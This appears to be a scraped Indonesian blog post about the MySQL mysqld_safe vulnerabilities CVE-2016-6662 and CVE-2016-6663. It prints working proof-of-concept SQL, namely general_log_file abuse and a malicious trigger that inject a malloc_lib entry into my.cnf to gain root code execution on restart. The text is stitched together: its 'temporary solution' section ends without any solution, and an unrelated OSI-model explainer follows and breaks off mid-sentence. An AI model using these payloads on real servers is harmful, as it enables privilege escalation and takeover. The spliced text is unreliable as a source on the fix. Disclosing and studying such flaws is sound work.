Cara menggunakan what is mysqld_safe?

Dua zero-day exploit berbahaya baru saja ditemukan pada database terpopuler di dunia, MySQL. Hacker yang memanfaatkan celah ini dapat memperoleh akses database secara penuh, menjadi root dengan mudah. Bahaya sekali kawan…

Adalah om Dawid Golunski asal LegalHackers Polandia yang menemukan celah berbahaya ini. Dua exploit ini dimuat di CVE-2016-6662 dan CVE-2016-6663 dan menyasar seluruh versi MySQL sampai versi terbaru dan juga semua turunan/fork dari MySQL seperti MariaDB dan PerconaDB.

Kawan bisa baca lebih lanjut soal ulasan teknis dan source code dari proof of concept exploit ini disini.

Cara menggunakan what is mysqld_safe?
Cara menggunakan what is mysqld_safe?

CVE-2016-6662 menyasar kelemahan MySQL di konfigurasi MySQL (my.cnf) yang bisa diinject dengan setting khusus yang disiapkan oleh hacker, dimana kunci kelemahannya ada pada daemon mysqld_safe. Daemon ini digunakan sebagai wrapper untuk banyak sekali paket mysql atau untuk keperluan yang lebih umum (sampai sekarang) yaitu instalasi untuk start services MySQL.

Daemon mysqld_safe di eksekusi sebagai root dan jangan kaget, mysqld (daemon utama dari mysql) menghiraukan seluruh privilege-nya menjadi level mysql user. Seperti dikutip dari om Golunski berikut:

“If an attacker managed to inject a path to their malicious library within the config, they would be able to preload an arbitrary library and thus execute arbitrary code with root privileges when MySQL service is restarted (manually, via a system update, package update, system reboot, etc.)”

Sekilas dari proof of concept yang bisa saya rangkum disini adalah sebagai berikut:
1. inject malicious configuration ke file konfigurasi mysql yang sudah ada dengan permission yang paling lemah namun berguna (seperti konfigurasi yang digunakan/ditulis oleh si mysql user).

Pada tahapan ini, hacker bisa Inject library mysql khusus yang disiapkan menjadi exploit selama-lamanya tanpa ketahuan (kalau tidak jeli) karena exploit berjalan sebagai modul dari MySQL

  1. Membuat file konfigurasi baru dengan MySQL data directory yang bisa ditulisi pada area konfigurasi __default__. Sangat berbahaya, karena untuk membuatnya tidak perlu konfigurasi permission yang khusus.

Masih menggunakan mysqld_safe dan melakukan trik khusus untuk membypass blokade SELECT xxx OUTFILE dari MySQL.

Contohnya:
[sourcecode language=”sql”]
mysql> set global general_log_file = ‘/var/lib/mysql/my.cnf’;
mysql> set global general_log = on;
mysql> select ‘
‘>
‘> ; injected config entry
‘>
‘> [mysqld]
‘> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
‘>
‘> [separator]
‘>
‘> ‘;
1 row in set (0.00 sec)
mysql> set global general_log = off;
[/sourcecode]

Hasilnya, setting diatas bisa masuk ke my.cnf (:))

  1. Hacker hanya butuh permission akses SELECT/FILE saja untuk bisa menulisi konfigurasi utama MySQL (di bagian default).

Contoh trigger yang bisa dipakai:
[sourcecode language=”sql”]
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file=’/var/lib/mysql/my.cnf’;
set global general_log = on;
select "
[mysqld]
malloc_lib=’/var/lib/mysql/mysql_hookandroot_lib.so’

" INTO void;
set global general_log = off;
END;
[/sourcecode]

heheu, dilanjutkan dengan ini:
[sourcecode]
SELECT ‘….trigger_code…’ INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG’
[/sourcecode]

Dan, trigger diatas akan dieksekusi manakala ada satu kali saja tabel itu diisi data baru (satu kali query INSERT INTO sudah cukup)

Solusi Sementara

Sampai saat berita dan Proof of Concept ini menyebar, Oracle belum merilis patch apapun. Namun untuk MariaDB dan PerconaDB sudah mengeluarkan warning dan patch khusus. Jadi solusi sementara yang bisa dilakukan adalah:

Model OSI adalah salah satu materi di jaringan komputer yang katanya sangat penting, dengan model OSI ini memiliki  tujuan agar produk-produk jaringan bisa saling terkoneksi meskipun beda system. Di dalam dunia akademi ini juga sering keluar di soal-soal ujian, dan kata para network engineer ini juga penting buat network troubleshooting misal buat ngelacak dmana paket mentok dan gak nyambung, berdasarkan hal itu saya membuat tulisan ini, silakan yang mau baca dibawah ini, maybe useful for you. Let's take an example in our real life untuk menganalogikan model OSI Kita analogikan dengan contoh mengirim sebuah surat, pasti pernah ya kirim surat ke sekolah karena ada urusan keluarga atau sakit. 1. Write your letter/surat. 2. Insert into into an envelope/amplop. 3. Write information about sender and reveiver on that envelope. 4. Stamp amplopnya/dilem. 5. Go to ke rumah teman dan titip. Ya seperti diataslah cara kerja model OSI yaitu saling berhubungan disetiap la